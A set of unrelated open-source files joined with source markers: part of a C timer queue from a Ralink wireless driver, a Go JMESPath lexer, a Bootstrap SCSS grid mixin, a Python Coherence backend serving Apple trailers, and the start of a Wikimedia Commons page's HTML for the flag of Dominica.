RTMP_INT_LOCK(&pAd->TimerQLock, irqFlags);
if (pAd->TimerQ.status >= RTMP_TASK_STAT_INITED)
{
pNode = pAd->TimerQ.pQHead;
while (pNode)
{
if (pNode->pRaTimer == pTimer)
break;
pPrev = pNode;
pNode = pNode->pNext;
}
/* Now move it to freeList queue.*/
if (pNode)
{
if (pNode == pAd->TimerQ.pQHead)
pAd->TimerQ.pQHead = pNode->pNext;
if (pNode == pAd->TimerQ.pQTail)
pAd->TimerQ.pQTail = pPrev;
if (pPrev != NULL)
pPrev->pNext = pNode->pNext;
/* return this queue entry to timerQFreeList.*/
pNode->pNext = pAd->TimerQ.pQPollFreeList;
pAd->TimerQ.pQPollFreeList = pNode;
}
}
RTMP_INT_UNLOCK(&pAd->TimerQLock, irqFlags);
return TRUE;
}
void RtmpTimerQExit(RTMP_ADAPTER *pAd)
{
RTMP_TIMER_TASK_ENTRY *pTimerQ;
unsigned long irqFlags;
RTMP_INT_LOCK(&pAd->TimerQLock, irqFlags);
while (pAd->TimerQ.pQHead)
{
pTimerQ = pAd->TimerQ.pQHead;
pAd->TimerQ.pQHead = pTimerQ->pNext;
/* remove the timeQ*/
}
pAd->TimerQ.pQPollFreeList = NULL;
os_free_mem(pAd, pAd->TimerQ.pTimerQPoll);
pAd->TimerQ.pQTail = NULL;
pAd->TimerQ.pQHead = NULL;
/*#ifndef KTHREAD_SUPPORT*/
pAd->TimerQ.status = RTMP_TASK_STAT_STOPED;
/*#endif*/
RTMP_INT_UNLOCK(&pAd->TimerQLock, irqFlags);
/* NdisFreeSpinLock(&pAd->TimerQLock); */
}
void RtmpTimerQInit(RTMP_ADAPTER *pAd)
{
int i;
RTMP_TIMER_TASK_ENTRY *pQNode, *pEntry;
unsigned long irqFlags;
NdisAllocateSpinLock(pAd, &pAd->TimerQLock);
NdisZeroMemory(&pAd->TimerQ, sizeof(pAd->TimerQ));
os_alloc_mem(pAd, &pAd->TimerQ.pTimerQPoll, sizeof(RTMP_TIMER_TASK_ENTRY) * TIMER_QUEUE_SIZE_MAX);
if (pAd->TimerQ.pTimerQPoll)
{
pEntry = NULL;
pQNode = (RTMP_TIMER_TASK_ENTRY *)pAd->TimerQ.pTimerQPoll;
NdisZeroMemory(pAd->TimerQ.pTimerQPoll, sizeof(RTMP_TIMER_TASK_ENTRY) * TIMER_QUEUE_SIZE_MAX);
RTMP_INT_LOCK(&pAd->TimerQLock, irqFlags);
for (i = 0 ;i <TIMER_QUEUE_SIZE_MAX; i++)
{
pQNode->pNext = pEntry;
pEntry = pQNode;
pQNode++;
}
pAd->TimerQ.pQPollFreeList = pEntry;
pAd->TimerQ.pQHead = NULL;
pAd->TimerQ.pQTail = NULL;
pAd->TimerQ.status = RTMP_TASK_STAT_INITED;
RTMP_INT_UNLOCK(&pAd->TimerQLock, irqFlags);
}
}
#endif /* RTMP_TIMER_TASK_SUPPORT */
| {
"pile_set_name": "Github"
} |
package jmespath
import (
"bytes"
"encoding/json"
"fmt"
"strconv"
"strings"
"unicode/utf8"
)
type token struct {
tokenType tokType
value string
position int
length int
}
type tokType int
const eof = -1
// Lexer contains information about the expression being tokenized.
type Lexer struct {
expression string // The expression provided by the user.
currentPos int // The current position in the string.
lastWidth int // The width of the current rune. This
buf bytes.Buffer // Internal buffer used for building up values.
}
// SyntaxError is the main error used whenever a lexing or parsing error occurs.
type SyntaxError struct {
msg string // Error message displayed to user
Expression string // Expression that generated a SyntaxError
Offset int // The location in the string where the error occurred
}
func (e SyntaxError) Error() string {
// In the future, it would be good to underline the specific
// location where the error occurred.
return "SyntaxError: " + e.msg
}
// HighlightLocation will show where the syntax error occurred.
// It will place a "^" character on a line below the expression
// at the point where the syntax error occurred.
func (e SyntaxError) HighlightLocation() string {
return e.Expression + "\n" + strings.Repeat(" ", e.Offset) + "^"
}
//go:generate stringer -type=tokType
const (
tUnknown tokType = iota
tStar
tDot
tFilter
tFlatten
tLparen
tRparen
tLbracket
tRbracket
tLbrace
tRbrace
tOr
tPipe
tNumber
tUnquotedIdentifier
tQuotedIdentifier
tComma
tColon
tLT
tLTE
tGT
tGTE
tEQ
tNE
tJSONLiteral
tStringLiteral
tCurrent
tExpref
tAnd
tNot
tEOF
)
var basicTokens = map[rune]tokType{
'.': tDot,
'*': tStar,
',': tComma,
':': tColon,
'{': tLbrace,
'}': tRbrace,
']': tRbracket, // tLbracket not included because it could be "[]"
'(': tLparen,
')': tRparen,
'@': tCurrent,
}
// Bit mask for [a-zA-Z_] shifted down 64 bits to fit in a single uint64.
// When using this bitmask just be sure to shift the rune down 64 bits
// before checking against identifierStartBits.
const identifierStartBits uint64 = 576460745995190270
// Bit mask for [a-zA-Z0-9], 128 bits -> 2 uint64s.
var identifierTrailingBits = [2]uint64{287948901175001088, 576460745995190270}
var whiteSpace = map[rune]bool{
' ': true, '\t': true, '\n': true, '\r': true,
}
func (t token) String() string {
return fmt.Sprintf("Token{%+v, %s, %d, %d}",
t.tokenType, t.value, t.position, t.length)
}
// NewLexer creates a new JMESPath lexer.
func NewLexer() *Lexer {
lexer := Lexer{}
return &lexer
}
func (lexer *Lexer) next() rune {
if lexer.currentPos >= len(lexer.expression) {
lexer.lastWidth = 0
return eof
}
r, w := utf8.DecodeRuneInString(lexer.expression[lexer.currentPos:])
lexer.lastWidth = w
lexer.currentPos += w
return r
}
func (lexer *Lexer) back() {
lexer.currentPos -= lexer.lastWidth
}
func (lexer *Lexer) peek() rune {
t := lexer.next()
lexer.back()
return t
}
// tokenize takes an expression and returns corresponding tokens.
func (lexer *Lexer) tokenize(expression string) ([]token, error) {
var tokens []token
lexer.expression = expression
lexer.currentPos = 0
lexer.lastWidth = 0
loop:
for {
r := lexer.next()
if identifierStartBits&(1<<(uint64(r)-64)) > 0 {
t := lexer.consumeUnquotedIdentifier()
tokens = append(tokens, t)
} else if val, ok := basicTokens[r]; ok {
// Basic single char token.
t := token{
tokenType: val,
value: string(r),
position: lexer.currentPos - lexer.lastWidth,
length: 1,
}
tokens = append(tokens, t)
} else if r == '-' || (r >= '0' && r <= '9') {
t := lexer.consumeNumber()
tokens = append(tokens, t)
} else if r == '[' {
t := lexer.consumeLBracket()
tokens = append(tokens, t)
} else if r == '"' {
t, err := lexer.consumeQuotedIdentifier()
if err != nil {
return tokens, err
}
tokens = append(tokens, t)
} else if r == '\'' {
t, err := lexer.consumeRawStringLiteral()
if err != nil {
return tokens, err
}
tokens = append(tokens, t)
} else if r == '`' {
t, err := lexer.consumeLiteral()
if err != nil {
return tokens, err
}
tokens = append(tokens, t)
} else if r == '|' {
t := lexer.matchOrElse(r, '|', tOr, tPipe)
tokens = append(tokens, t)
} else if r == '<' {
t := lexer.matchOrElse(r, '=', tLTE, tLT)
tokens = append(tokens, t)
} else if r == '>' {
t := lexer.matchOrElse(r, '=', tGTE, tGT)
tokens = append(tokens, t)
} else if r == '!' {
t := lexer.matchOrElse(r, '=', tNE, tNot)
tokens = append(tokens, t)
} else if r == '=' {
t := lexer.matchOrElse(r, '=', tEQ, tUnknown)
tokens = append(tokens, t)
} else if r == '&' {
t := lexer.matchOrElse(r, '&', tAnd, tExpref)
tokens = append(tokens, t)
} else if r == eof {
break loop
} else if _, ok := whiteSpace[r]; ok {
// Ignore whitespace
} else {
return tokens, lexer.syntaxError(fmt.Sprintf("Unknown char: %s", strconv.QuoteRuneToASCII(r)))
}
}
tokens = append(tokens, token{tEOF, "", len(lexer.expression), 0})
return tokens, nil
}
// Consume characters until the ending rune "r" is reached.
// If the end of the expression is reached before seeing the
// terminating rune "r", then an error is returned.
// If no error occurs then the matching substring is returned.
// The returned string will not include the ending rune.
func (lexer *Lexer) consumeUntil(end rune) (string, error) {
start := lexer.currentPos
current := lexer.next()
for current != end && current != eof {
if current == '\\' && lexer.peek() != eof {
lexer.next()
}
current = lexer.next()
}
if lexer.lastWidth == 0 {
// Then we hit an EOF so we never reached the closing
// delimiter.
return "", SyntaxError{
msg: "Unclosed delimiter: " + string(end),
Expression: lexer.expression,
Offset: len(lexer.expression),
}
}
return lexer.expression[start : lexer.currentPos-lexer.lastWidth], nil
}
func (lexer *Lexer) consumeLiteral() (token, error) {
start := lexer.currentPos
value, err := lexer.consumeUntil('`')
if err != nil {
return token{}, err
}
value = strings.Replace(value, "\\`", "`", -1)
return token{
tokenType: tJSONLiteral,
value: value,
position: start,
length: len(value),
}, nil
}
func (lexer *Lexer) consumeRawStringLiteral() (token, error) {
start := lexer.currentPos
currentIndex := start
current := lexer.next()
for current != '\'' && lexer.peek() != eof {
if current == '\\' && lexer.peek() == '\'' {
chunk := lexer.expression[currentIndex : lexer.currentPos-1]
lexer.buf.WriteString(chunk)
lexer.buf.WriteString("'")
lexer.next()
currentIndex = lexer.currentPos
}
current = lexer.next()
}
if lexer.lastWidth == 0 {
// Then we hit an EOF so we never reached the closing
// delimiter.
return token{}, SyntaxError{
msg: "Unclosed delimiter: '",
Expression: lexer.expression,
Offset: len(lexer.expression),
}
}
if currentIndex < lexer.currentPos {
lexer.buf.WriteString(lexer.expression[currentIndex : lexer.currentPos-1])
}
value := lexer.buf.String()
// Reset the buffer so it can reused again.
lexer.buf.Reset()
return token{
tokenType: tStringLiteral,
value: value,
position: start,
length: len(value),
}, nil
}
func (lexer *Lexer) syntaxError(msg string) SyntaxError {
return SyntaxError{
msg: msg,
Expression: lexer.expression,
Offset: lexer.currentPos - 1,
}
}
// Checks for a two char token, otherwise matches a single character
// token. This is used whenever a two char token overlaps a single
// char token, e.g. "||" -> tPipe, "|" -> tOr.
func (lexer *Lexer) matchOrElse(first rune, second rune, matchedType tokType, singleCharType tokType) token {
start := lexer.currentPos - lexer.lastWidth
nextRune := lexer.next()
var t token
if nextRune == second {
t = token{
tokenType: matchedType,
value: string(first) + string(second),
position: start,
length: 2,
}
} else {
lexer.back()
t = token{
tokenType: singleCharType,
value: string(first),
position: start,
length: 1,
}
}
return t
}
func (lexer *Lexer) consumeLBracket() token {
// There's three options here:
// 1. A filter expression "[?"
// 2. A flatten operator "[]"
// 3. A bare rbracket "["
start := lexer.currentPos - lexer.lastWidth
nextRune := lexer.next()
var t token
if nextRune == '?' {
t = token{
tokenType: tFilter,
value: "[?",
position: start,
length: 2,
}
} else if nextRune == ']' {
t = token{
tokenType: tFlatten,
value: "[]",
position: start,
length: 2,
}
} else {
t = token{
tokenType: tLbracket,
value: "[",
position: start,
length: 1,
}
lexer.back()
}
return t
}
func (lexer *Lexer) consumeQuotedIdentifier() (token, error) {
start := lexer.currentPos
value, err := lexer.consumeUntil('"')
if err != nil {
return token{}, err
}
var decoded string
asJSON := []byte("\"" + value + "\"")
if err := json.Unmarshal([]byte(asJSON), &decoded); err != nil {
return token{}, err
}
return token{
tokenType: tQuotedIdentifier,
value: decoded,
position: start - 1,
length: len(decoded),
}, nil
}
func (lexer *Lexer) consumeUnquotedIdentifier() token {
// Consume runes until we reach the end of an unquoted
// identifier.
start := lexer.currentPos - lexer.lastWidth
for {
r := lexer.next()
if r < 0 || r > 128 || identifierTrailingBits[uint64(r)/64]&(1<<(uint64(r)%64)) == 0 {
lexer.back()
break
}
}
value := lexer.expression[start:lexer.currentPos]
return token{
tokenType: tUnquotedIdentifier,
value: value,
position: start,
length: lexer.currentPos - start,
}
}
func (lexer *Lexer) consumeNumber() token {
// Consume runes until we reach something that's not a number.
start := lexer.currentPos - lexer.lastWidth
for {
r := lexer.next()
if r < '0' || r > '9' {
lexer.back()
break
}
}
value := lexer.expression[start:lexer.currentPos]
return token{
tokenType: tNumber,
value: value,
position: start,
length: lexer.currentPos - start,
}
}
| {
"pile_set_name": "Github"
} |
// Framework grid generation
//
// Used only by Bootstrap to generate the correct number of grid classes given
// any value of `$grid-columns`.
@mixin make-grid-columns($columns: $grid-columns, $gutter: $grid-gutter-width, $breakpoints: $grid-breakpoints) {
// Common properties for all breakpoints
%grid-column {
position: relative;
width: 100%;
min-height: 1px; // Prevent columns from collapsing when empty
padding-right: ($gutter / 2);
padding-left: ($gutter / 2);
}
@each $breakpoint in map-keys($breakpoints) {
$infix: breakpoint-infix($breakpoint, $breakpoints);
// Allow columns to stretch full width below their breakpoints
@for $i from 1 through $columns {
.col#{$infix}-#{$i} {
@extend %grid-column;
}
}
.col#{$infix},
.col#{$infix}-auto {
@extend %grid-column;
}
@include media-breakpoint-up($breakpoint, $breakpoints) {
// Provide basic `.col-{bp}` classes for equal-width flexbox columns
.col#{$infix} {
flex-basis: 0;
flex-grow: 1;
max-width: 100%;
}
.col#{$infix}-auto {
flex: 0 0 auto;
width: auto;
max-width: none; // Reset earlier grid tiers
}
@for $i from 1 through $columns {
.col#{$infix}-#{$i} {
@include make-col($i, $columns);
}
}
@for $i from 1 through $columns {
.order#{$infix}-#{$i} {
order: $i;
}
}
}
}
}
| {
"pile_set_name": "Github"
} |
# -*- coding: utf-8 -*-
# Licensed under the MIT license
# http://opensource.org/licenses/mit-license.php
# Copyright 2008, Benjamin Kampmann <[email protected]>
"""
This is a Media Backend that allows you to access the Trailers from Apple.com
"""
from coherence.backend import BackendItem, BackendStore
from coherence.upnp.core import DIDLLite
from coherence.upnp.core.utils import ReverseProxyUriResource
from twisted.web import client
from twisted.internet import task, reactor
from coherence.extern.et import parse_xml
DEFAULT_NAME = 'Apple Trailers'
XML_URL = "http://www.apple.com/trailers/home/xml/current.xml"
USER_AGENT = 'QuickTime/7.6.2 (qtver=7.6.2;os=Windows NT 5.1Service Pack 3)'
ROOT_ID = 0
class AppleTrailerProxy(ReverseProxyUriResource):
def __init__(self, uri):
ReverseProxyUriResource.__init__(self, uri)
def render(self, request):
request.requestHeaders.setRawHeaders('user-agent', USER_AGENT)
return ReverseProxyUriResource.render(self, request)
class Trailer(BackendItem):
def __init__(self, parent_id, urlbase, id=None, name=None, cover=None,
url=None):
BackendItem.__init__(self)
self.parentid = parent_id
self.id = id
self.name = name
self.cover = cover
if(len(urlbase) and urlbase[-1] != '/'):
urlbase += '/'
self.url = urlbase + str(self.id)
self.location = AppleTrailerProxy(url)
self.item = DIDLLite.VideoItem(id, parent_id, self.name)
self.item.albumArtURI = self.cover
def get_path(self):
return self.url
class Container(BackendItem):
logCategory = 'apple_trailers'
def __init__(self, id, parent_id, name, store=None, \
children_callback=None):
BackendItem.__init__(self)
self.id = id
self.parent_id = parent_id
self.name = name
self.mimetype = 'directory'
self.update_id = 0
self.children = []
self.item = DIDLLite.Container(id, parent_id, self.name)
self.item.childCount = None # self.get_child_count()
def get_children(self, start=0, end=0):
if(end - start > 25 or
start - end == start or
end - start == 0):
end = start + 25
if end != 0:
return self.children[start:end]
return self.children[start:]
def get_child_count(self):
return len(self.children)
def get_item(self):
return self.item
def get_name(self):
return self.name
def get_id(self):
return self.id
class AppleTrailersStore(BackendStore):
logCategory = 'apple_trailers'
implements = ['MediaServer']
def __init__(self, server, *args, **kwargs):
BackendStore.__init__(self, server, **kwargs)
self.next_id = 1000
self.name = kwargs.get('name', DEFAULT_NAME)
self.refresh = int(kwargs.get('refresh', 8)) * (60 * 60)
self.trailers = {}
self.wmc_mapping = {'15': 0}
dfr = self.update_data()
# first get the first bunch of data before sending init_completed
dfr.addCallback(lambda x: self.init_completed())
def queue_update(self, result):
reactor.callLater(self.refresh, self.update_data)
return result
def update_data(self):
dfr = client.getPage(XML_URL)
dfr.addCallback(parse_xml)
dfr.addCallback(self.parse_data)
dfr.addCallback(self.queue_update)
return dfr
def parse_data(self, xml_data):
def iterate(root):
for item in root.findall('./movieinfo'):
trailer = self._parse_into_trailer(item)
yield trailer
root = xml_data.getroot()
return task.coiterate(iterate(root))
def _parse_into_trailer(self, item):
"""
info = item.find('info')
for attr in ('title', 'runtime', 'rating', 'studio', 'postdate',
'releasedate', 'copyright', 'director', 'description'):
setattr(trailer, attr, info.find(attr).text)
"""
data = {}
data['id'] = item.get('id')
data['name'] = item.find('./info/title').text
data['cover'] = item.find('./poster/location').text
data['url'] = item.find('./preview/large').text
trailer = Trailer(ROOT_ID, self.urlbase, **data)
duration = None
try:
hours = 0
minutes = 0
seconds = 0
duration = item.find('./info/runtime').text
try:
hours, minutes, seconds = duration.split(':')
except ValueError:
try:
minutes, seconds = duration.split(':')
except ValueError:
seconds = duration
duration = "%d:%02d:%02d" % (int(hours), int(minutes), int(seconds))
except:
pass
try:
trailer.item.director = item.find('./info/director').text
except:
pass
try:
trailer.item.description = item.find('./info/description').text
except:
pass
res = DIDLLite.Resource(trailer.get_path(), 'http-get:*:video/quicktime:*')
res.duration = duration
try:
res.size = item.find('./preview/large').get('filesize', None)
except:
pass
trailer.item.res.append(res)
if self.server.coherence.config.get('transcoding', 'no') == 'yes':
dlna_pn = 'DLNA.ORG_PN=AVC_TS_BL_CIF15_AAC'
dlna_tags = DIDLLite.simple_dlna_tags[:]
dlna_tags[2] = 'DLNA.ORG_CI=1'
url = self.urlbase + str(trailer.id) + '?transcoded=mp4'
new_res = DIDLLite.Resource(url,
'http-get:*:%s:%s' % ('video/mp4', ';'.join([dlna_pn] + dlna_tags)))
new_res.size = None
res.duration = duration
trailer.item.res.append(new_res)
dlna_pn = 'DLNA.ORG_PN=JPEG_TN'
dlna_tags = DIDLLite.simple_dlna_tags[:]
dlna_tags[2] = 'DLNA.ORG_CI=1'
dlna_tags[3] = 'DLNA.ORG_FLAGS=00f00000000000000000000000000000'
url = self.urlbase + str(trailer.id) + '?attachment=poster&transcoded=thumb&type=jpeg'
new_res = DIDLLite.Resource(url,
'http-get:*:%s:%s' % ('image/jpeg', ';'.join([dlna_pn] + dlna_tags)))
new_res.size = None
#new_res.resolution = "160x160"
trailer.item.res.append(new_res)
if not hasattr(trailer.item, 'attachments'):
trailer.item.attachments = {}
trailer.item.attachments['poster'] = data['cover']
self.trailers[trailer.id] = trailer
def get_by_id(self, id):
try:
if int(id) == 0:
return self.container
else:
return self.trailers.get(id, None)
except:
return None
def upnp_init(self):
if self.server:
self.server.connection_manager_server.set_variable( \
0, 'SourceProtocolInfo', ['http-get:*:video/quicktime:*', 'http-get:*:video/mp4:*'])
self.container = Container(ROOT_ID, -1, self.name)
trailers = self.trailers.values()
trailers.sort(cmp=lambda x, y: cmp(x.get_name().lower(), y.get_name().lower()))
self.container.children = trailers
def __repr__(self):
return self.__class__.__name__
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html>
<html class="client-nojs" lang="en" dir="ltr">
<head>
<meta charset="UTF-8"/>
<title>File:Flag of Dominica.svg - Wikimedia Commons</title>
<script>document.documentElement.className = document.documentElement.className.replace( /(^|\s)client-nojs(\s|$)/, "$1client-js$2" );</script>
<script>(window.RLQ=window.RLQ||[]).push(function(){mw.config.set({"wgCanonicalNamespace":"File","wgCanonicalSpecialPageName":false,"wgNamespaceNumber":6,"wgPageName":"File:Flag_of_Dominica.svg","wgTitle":"Flag of Dominica.svg","wgCurRevisionId":235840245,"wgRevisionId":235840245,"wgArticleId":433133,"wgIsArticle":true,"wgIsRedirect":false,"wgAction":"view","wgUserName":null,"wgUserGroups":["*"],"wgCategories":["CC-Zero","PD OpenClipart","With insignia","Parrots in art","Flags with ten five-pointed stars","Flags with centered circles","SVG flags of Dominica","Flags with three crosses","Flags with birds","Flags with branches","Amazona imperialis","SVG sovereign state flags"],"wgBreakFrames":false,"wgPageContentLanguage":"en","wgPageContentModel":"wikitext","wgSeparatorTransformTable":["",""],"wgDigitTransformTable":["",""],"wgDefaultDateFormat":"dmy","wgMonthNames":["","January","February","March","April","May","June","July","August","September","October","November","December"],"wgMonthNamesShort":["","Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],"wgRelevantPageName":"File:Flag_of_Dominica.svg","wgRelevantArticleId":433133,"wgRequestId":"WbWIsgpAME0AAKKR-KUAAACG","wgIsProbablyEditable":true,"wgRelevantPageIsProbablyEditable":true,"wgRestrictionEdit":[],"wgRestrictionMove":[],"wgRestrictionUpload":[],"wgWikiEditorEnabledModules":{"toolbar":true,"preview":false,"publish":false},"wgBetaFeaturesFeatures":[],"wgMediaViewerOnClick":true,"wgMediaViewerEnabledByDefault":false,"wgVisualEditor":{"pageLanguageCode":"en","pageLanguageDir":"ltr","pageVariantFallbacks":"en","usePageImages":true,"usePageDescriptions":true},"wgPreferredVariant":"en","wgMFExpandAllSectionsUserOption":false,"wgMFDisplayWikibaseDescriptions":{"search":true,"nearby":true,"watchlist":true,"tagline":true},"wgULSCurrentAutonym":"English","wgNoticeProject":"commons","wgCentralNoticeCookiesToDelete":[],"wgCentralNoticeCategoriesUsingLegacy":["Fundraising","fundraising"],"wgCategoryTreePageCategoryOptions":"{\"mode\":0,\"hideprefix\":20,\"showcount\":true,\"namespaces\":false}","wgCentralAuthMobileDomain":false,"wgVisualEditorToolbarScrollOffset":0,"wgVisualEditorUnsupportedEditParams":["preload","preloadparams","preloadtitle","undo","undoafter","veswitched"],"wgEditSubmitButtonLabelPublish":true});mw.loader.state({"ext.gadget.Long-Image-Names-in-Categories":"ready","ext.globalCssJs.user.styles":"ready","ext.globalCssJs.site.styles":"ready","site.styles":"ready","noscript":"ready","user.styles":"ready","user":"ready","user.options":"loading","user.tokens":"loading","filepage":"ready","mediawiki.action.view.filepage":"ready","ext.visualEditor.desktopArticleTarget.noscript":"ready","ext.uls.pt":"ready","ext.wikimediaBadges":"ready","mediawiki.legacy.shared":"ready","mediawiki.legacy.commonPrint":"ready","mediawiki.sectionAnchor":"ready","mediawiki.skinning.interface":"ready","skins.vector.styles":"ready","ext.globalCssJs.user":"ready","ext.globalCssJs.site":"ready"});mw.loader.implement("user.options@0bhc5ha",function($,jQuery,require,module){mw.user.options.set([]);});mw.loader.implement("user.tokens@1dqfd7l",function ( $, jQuery, require, module ) {
mw.user.tokens.set({"editToken":"+\\","patrolToken":"+\\","watchToken":"+\\","csrfToken":"+\\"});/*@nomin*/
});mw.loader.load(["mediawiki.action.view.metadata","site","mediawiki.page.startup","mediawiki.user","mediawiki.hidpi","mediawiki.page.ready","mediawiki.searchSuggest","ext.gadget.Slideshow","ext.gadget.ZoomViewer","ext.gadget.CollapsibleTemplates","ext.gadget.fastcci","ext.gadget.UploadWizard","ext.gadget.Stockphoto","ext.gadget.WatchlistNotice","ext.gadget.AjaxQuickDelete","ext.gadget.WikiMiniAtlas","ext.gadget.LanguageSelect","ext.centralauth.centralautologin","mmv.head","mmv.bootstrap.autostart","ext.visualEditor.desktopArticleTarget.init","ext.visualEditor.targetLoader","ext.eventLogging.subscriber","ext.wikimediaEvents","ext.navigationTiming","ext.uls.eventlogger","ext.uls.init","ext.uls.interface","ext.centralNotice.geoIP","ext.centralNotice.startUp","skins.vector.js"]);});</script>
<link rel="stylesheet" href="/w/load.php?debug=false&lang=en&modules=ext.uls.pt%7Cext.visualEditor.desktopArticleTarget.noscript%7Cext.wikimediaBadges%7Cfilepage%7Cmediawiki.action.view.filepage%7Cmediawiki.legacy.commonPrint%2Cshared%7Cmediawiki.sectionAnchor%7Cmediawiki.skinning.interface%7Cskins.vector.styles&only=styles&skin=vector"/>
<script async="" src="/w/load.php?debug=false&lang=en&modules=startup&only=scripts&skin=vector"></script>
<meta name="ResourceLoaderDynamicStyles" content=""/>
<link rel="stylesheet" href="/w/load.php?debug=false&lang=en&modules=ext.gadget.Long-Image-Names-in-Categories&only=styles&skin=vector"/>
<link rel="stylesheet" href="/w/load.php?debug=false&lang=en&modules=site.styles&only=styles&skin=vector"/>
<noscript><link rel="stylesheet" href="/w/load.php?debug=false&lang=en&modules=noscript&only=styles&skin=vector"/></noscript>
<meta name="generator" content="MediaWiki 1.30.0-wmf.17"/>
<meta name="referrer" content="origin-when-cross-origin"/>
<link rel="alternate" type="application/x-wiki" title="Edit" href="/w/index.php?title=File:Flag_of_Dominica.svg&action=edit"/>
<link rel="edit" title="Edit" href="/w/index.php?title=File:Flag_of_Dominica.svg&action=edit"/>
<link rel="apple-touch-icon" href="/static/apple-touch/commons.png"/>
<link rel="shortcut icon" href="/static/favicon/commons.ico"/>
<link rel="search" type="application/opensearchdescription+xml" href="/w/opensearch_desc.php" title="Wikimedia Commons"/>
<link rel="EditURI" type="application/rsd+xml" href="//commons.wikimedia.org/w/api.php?action=rsd"/>
<link rel="license" href="//creativecommons.org/licenses/by-sa/3.0/"/>
<link rel="alternate" type="application/atom+xml" title="Wikimedia Commons Atom feed" href="/w/index.php?title=Special:RecentChanges&feed=atom"/>
<link rel="canonical" href="https://commons.wikimedia.org/wiki/File:Flag_of_Dominica.svg"/>
<link rel="dns-prefetch" href="//login.wikimedia.org"/>
<link rel="dns-prefetch" href="//meta.wikimedia.org" />
<!--[if lt IE 9]><script src="/resources/lib/html5shiv/html5shiv.min.js"></script><![endif]-->
</head>
<body class="mediawiki ltr sitedir-ltr mw-hide-empty-elt ns-6 ns-subject page-File_Flag_of_Dominica_svg rootpage-File_Flag_of_Dominica_svg skin-vector action-view"> <div id="mw-page-base" class="noprint"></div>
<div id="mw-head-base" class="noprint"></div>
<div id="content" class="mw-body" role="main">
<a id="top"></a>
<div id="siteNotice" class="mw-body-content"><!-- CentralNotice --></div>
<div class="mw-indicators mw-body-content">
</div>
<h1 id="firstHeading" class="firstHeading" lang="en">File:Flag of Dominica.svg</h1>
<div id="bodyContent" class="mw-body-content">
<div id="siteSub" class="noprint">From Wikimedia Commons, the free media repository</div>
<div id="contentSub"></div>
<div id="jump-to-nav" class="mw-jump">
Jump to: <a href="#mw-head">navigation</a>, <a href="#p-search">search</a>
</div>
<div id="mw-content-text"><ul id="filetoc"><li><a href="#file">File</a></li>
<li><a href="#filehistory">File history</a></li>
<li><a href="#filelinks">File usage on Commons</a></li>
<li><a href="#globalusage">File usage on other wikis</a></li>
<li><a href="#metadata">Metadata</a></li></ul><div class="fullImageLink" id="file"><a href="https://upload.wikimedia.org/wikipedia/commons/c/c4/Flag_of_Dominica.svg"><img alt="File:Flag of Dominica.svg" src="https://upload.wikimedia.org/wikipedia/commons/thumb/c/c4/Flag_of_Dominica.svg/800px-Flag_of_Dominica.svg.png" width="800" height="400" srcset="https://upload.wikimedia.org/wikipedia/commons/thumb/c/c4/Flag_of_Dominica.svg/1200px-Flag_of_Dominica.svg.png 1.5x, https://upload.wikimedia.org/wikipedia/commons/thumb/c/c4/Flag_of_Dominica.svg/1600px-Flag_of_Dominica.svg.png 2x" data-file-width="1200" data-file-height="600" /></a><div class="mw-filepage-resolutioninfo">Size of this PNG preview of this SVG file: <a href="https://upload.wikimedia.org/wikipedia/commons/thumb/c/c4/Flag_of_Dominica.svg/800px-Flag_of_Dominica.svg.png" class="mw-thumbnail-link">800 × 400 pixels</a>. <span class="mw-filepage-other-resolutions">Other resolutions: <a href="https://upload.wikimedia.org/wikipedia/commons/thumb/c/c4/Flag_of_Dominica.svg/320px-Flag_of_Dominica.svg.png" class="mw-thumbnail-link">320 × 160 pixels</a> | <a href="https://upload.wikimedia.org/wikipedia/commons/thumb/c/c4/Flag_of_Dominica.svg/640px-Flag_of_Dominica.svg.png" class="mw-thumbnail-link">640 × 320 pixels</a> | <a href="https://upload.wikimedia.org/wikipedia/commons/thumb/c/c4/Flag_of_Dominica.svg/1024px-Flag_of_Dominica.svg.png" class="mw-thumbnail-link">1,024 × 512 pixels</a> | <a href="https://upload.wikimedia.org/wikipedia/commons/thumb/c/c4/Flag_of_Dominica.svg/1280px-Flag_of_Dominica.svg.png" class="mw-thumbnail-link">1,280 × 640 pixels</a> | <a href="https://upload.wikimedia.org/wikipedia/commons/thumb/c/c4/Flag_of_Dominica.svg/1200px-Flag_of_Dominica.svg.png" class="mw-thumbnail-link">1,200 × 600 pixels</a>.</span></div></div>
<div class="fullMedia"><a href="https://upload.wikimedia.org/wikipedia/commons/c/c4/Flag_of_Dominica.svg" class="internal" title="Flag of Dominica.svg">Original file</a> ‎<span class="fileInfo">(SVG file, nominally 1,200 × 600 pixels, file size: 14 KB)</span>
</div>
<div id="mw-imagepage-content" lang="en" dir="ltr" class="mw-content-ltr"><div class="mw-parser-output"><h2><span class="mw-headline" id="Summary">Summary</span><span class="mw-editsection"><span class="mw-editsection-bracket">[</span><a href="/w/index.php?title=File:Flag_of_Dominica.svg&action=edit&section=1" title="Edit section: Summary">edit</a><span class="mw-editsection-bracket">]</span></span></h2>
<div class="hproduct commons-file-information-table">
<table class="fileinfotpl-type-information toccolours vevent mw-content-ltr" style="width: 100%; direction: ltr;" cellpadding="4">
<tr style="vertical-align: top">
<td id="fileinfotpl_desc" class="fileinfo-paramfield" lang="en" xml:lang="en">Description<span class="summary fn" style="display:none">Flag of Dominica.svg</span></td>
<td class="description">
<div class="description mw-content-ltr en" dir="ltr" lang="en" style="" xml:lang="en"><span class="language en" title=""><b>English:</b></span> The <a href="https://en.wikipedia.org/wiki/Flag_of_Dominica" class="extiw" title="en:Flag of Dominica">Flag of Dominica</a>.</div>
<div class="description mw-content-ltr de" dir="ltr" lang="de" style="" xml:lang="de"><span class="language de" title="Deutsch"><b>Deutsch:</b></span> Die <a href="https://de.wikipedia.org/wiki/Flagge_Dominicas" class="extiw" title="de:Flagge Dominicas">Flagge Dominicas</a>.</div>
<div class="description mw-content-ltr et" dir="ltr" lang="et" style="" xml:lang="et"><span class="language et" title=""><b>Eesti:</b></span> <a href="https://et.wikipedia.org/wiki/Dominica_lipp" class="extiw" title="et:Dominica lipp">Dominica lipp</a>.</div>
<div class="description mw-content-ltr fi" dir="ltr" lang="fi" style="" xml:lang="fi"><span class="language fi" title=""><b>Suomi:</b></span> <a href="https://fi.wikipedia.org/wiki/Dominican_lippu" class="extiw" title="fi:Dominican lippu">Dominican lippu</a></div>
